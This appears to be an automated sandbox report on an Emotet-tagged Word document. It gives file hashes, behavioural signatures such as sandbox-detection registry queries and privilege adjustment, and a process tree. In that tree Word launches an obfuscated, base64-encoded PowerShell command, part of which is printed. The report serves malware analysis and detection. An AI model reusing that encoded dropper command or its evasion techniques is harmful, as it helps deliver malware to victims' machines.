Analysis
- max time kernel
139s - max time network
139s - platform
windows10_x64 - resource
win10v200722 - submitted
16/10/2020, 07:51
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc
Resource
win7v200722
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc
Resource
win10v200722
0 signatures
0 seconds
General
- Target emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc
- Size 211KB
- Sample201016-jsvb96ssq6
- SHA256 40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9
- MD5 16baa28a5a28b9b1fbc3bf11ddc23526
- SHA1 6b9f074467079d0598f414ebe93a6afe889a8098
- SHA512 e9ee11f4781b6edacd3c98ea8dce949bf51016c2dddd3cc57d395cd088f541c031541f3d0ed63f491d4a05b0e80e3a8abc65b3cd90e8e0b8e03e6db598cc6f5f
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2776 3684 POwersheLL.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 23 2776 POwersheLL.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2776 POwersheLL.exe 2776 POwersheLL.exe 2776 POwersheLL.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2776 POwersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_40f707ff0b92ba2a43159eb0f53765ee692d9f002ca512d1eefd9cf7ec8df2e9_2020-10-16__074915006170._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1468
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD 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KQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776